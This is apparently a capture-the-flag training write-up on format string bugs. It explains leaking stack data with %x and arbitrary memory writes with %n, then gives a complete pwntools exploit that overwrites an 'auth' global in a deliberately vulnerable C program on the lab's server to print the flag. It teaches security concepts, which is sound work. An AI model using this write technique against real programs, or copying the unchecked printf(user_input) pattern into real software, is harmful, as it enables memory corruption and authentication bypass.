format

This is an introduction to the **arbitrary write** of the format string bug. This allows us to write arbitrary values to an address of our choice. We take advantage of this to overwrite an authenatication variable, which allows us to get the flag.

Theory

The format string bug is a vulnerability caused when a program uses `printf` or `sprintf` without properly specifying the arguments. Proper use of the `printf` function takes a string containing format specifiers, then secondary arguments with the value for those specifiers.

Here is an example of proper use of `printf`:

```
char* name = "Hello World";
printf("Your string: %s\n", name);
```

Rather than printing the value of `name` directly, the `%s` (string) specifier is used. There are many format specifiers, the most common are:

- `%s` - string
- `%d` - decimal
- `%x` - hexadecimal
- `%p` - pointer

What happens if we request more format specifiers than there are arguments? For example, what if we do the following:

```
char* name = "Hello World";
printf("Your string: %s %s\n", name);
```

This prints the following: `Your string: Hello World ␀␀Fb␀¨`.

> *What is the second string?* When `printf` uses a format string specifier, it requests another parameter to be passed into the function. Depending on the architecture, the binary will then look inside either the next parameter register (x64), or the top of the stack (x86) for that parameter. Sometimes this is gibberish, but if we leak enough data we can almost always leak something important. Or, as we'll discuss in this challenge, we can write data to an address of our choice.

The bug becomes more vulnerable when the program uses `printf` to print a variable directly rather than using a format specifier. For example, the following code is vulnerable:

```
#include <stdio.h>
```

```c
int main(void)
{
    char buffer[100];
    fgets(buffer, sizeof(buffer), stdin);
    printf(buffer);
    return 0;
}
```

This code is **not** susceptible to stack smashing because the `fgets` call verifies that no more than `100` bytes of data are inputted into the buffer. However, the `printf` call is vulnerable. If we choose our input to have format specifiers, we can leak data from registers or the stack. Consider this run:

```
$ ./vuln
%x %x %x
78252078 fbad2288 366932a9
```

In this case, we leaked data off the stack! This is the basis of the format string bug.

We can further improve its usability by directly deciding where we want to leak. C provides syntax for printing variables in any order by listing their index. The format of this is `%k$x`, where `k` is the index of the variable to print. For example, the following code prints the first and second variables in reverse order:

```c
#include <stdio.h>

int main(void)
{
    int x = 4; int y = 5;
    printf("%2$x %1$x\n", x, y);
    return 0;
}
```

Let's get into the binary and discuss how we can use this to leak data, and then perform arbitrary reads and writes.

Binary Static Analysis

For this binary, we're going to supply the source code so that we can understand the binary better. This is the binary:

```c
#include <stdio.h>

int auth = 0;

int main() {
    char password[100];
```

```
    puts("Password: ");
    fflush(stdout);
    fgets(password, sizeof password, stdin);

    printf(password);
    printf("Auth is %i\n", auth);

    if(auth == 10) {
        system("cat flag.txt");
    }
}
```

In this case, here's what we notice:

- There is a secure `fgets` call that doesn't allow for buffer overflow. This means that we can't just overwrite the `auth` variable (we also know that global variables get loaded into a different memory segment, so buffer overflow doesn't make much sense).
- There is a format string vulnerability where they print our password. This means that we can leak data off the stack.
- Our goal is to modify `auth`, which is a global variable. This is where the *arbitrary write* comes in. We have a slight advantage that `auth` is global, meaning its address is known at compile time. This means that we can write to it directly.

Let's first see what kind of data we can leak. We'll use a series of `%x` inputs to leak as much data as possible.

```
$ ./format
Password:
%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
64 f7e2a620 80491bd 0 1 f7fc1a40 25207825 78252078 20782520 25207825
78252078 20782520 25207825 78252078 20782520
Auth is 0
```

We notice that after a few iterations, a series of the same pattern of data is reappearing. A quick observation shows us that:

```
$ python3 -c "print(''.join(hex(ord(x))[2:] for x in '%x '))"
257820
```

This means that this pattern represents our input! Our input starts at the 7th position off the stack. **This is vital info**; we can use this as a baseline for where we are in memory.

Arbitrary Writes

There is a special format specifier in C that has a special function: `%n`. `%n` is unlike the other format specifiers in that it *stores* data, namely **the number of bytes that have been written thus far**. Typically, this is used like below:

```c
int main(void)
{
    int bytes;
    printf("Hello World%n\n", &bytes);
    printf("Bytes written: %d\n", bytes);
}
```

This prints:

```
$ ./test
Hello World
Bytes written: 11
```

How can we exploit this? If we can pass in an address of our choice, we can write a number to that address.

Getting the Necessary Information

We need three things to perform an arbitrary write:

- The location on the stack of our buffer
- The location of the address we want to write
- The value we want to write

We figured out the first one already! We determined that our input started at the 7th position. Now we need the address of where we want to write. There are two ways to do this:

1. Use the list of gloabl variables in `gdb`: `info variables`
2. Use the symbol table, accessible with `readelf -s <binary>`

Either way, we get that `auth` is located at `0x0804c02c`. Finally, we know that we want to write 10 bytes, meaning that before we place the `%n`, we need to write 10 bytes.

Let's put this all together and discuss why this payload works:

```
payload = p32(0x0804c02c)
payload += b'A' * 6
payload += b'%7$n'
```

We first write the address of `auth` to the stack. Then, we write 6 more bytes of data to fill the requirement of writing 10 bytes of data. Finally, we write the `%n` specifier, which writes the number of bytes written so far to the address at the 7th position on the stack. This is the address of `auth`, so we write `10` to `auth`!

Exploiting the Binary

Let's put this all together and get the flag!

```
from pwn import *

elf = context.binary = ELF('./format')
p = remote('vunrotc.cole-ellis.com', 3200)

payload = p32(0x0804c02c)
payload += b'A' * 0x6
payload += b'%7$n'

p.sendline(payload)
p.interactive()
```

Running this gives:

```
$ python3 exploit.py
[*] '/home/joybuzzer/Documents/vunrotc/public/03-formats/format/src/format'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Opening connection to vunrotc.cole-ellis.com on port 3200: Done
[*] Switching to interactive mode
Password:
flag{maybe_we_need_a_better_dev}
0\xcAAAAAA
Auth is 10
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to vunrotc.cole-ellis.com port 3200
```

We see that `auth` is changed, and the flag is printed!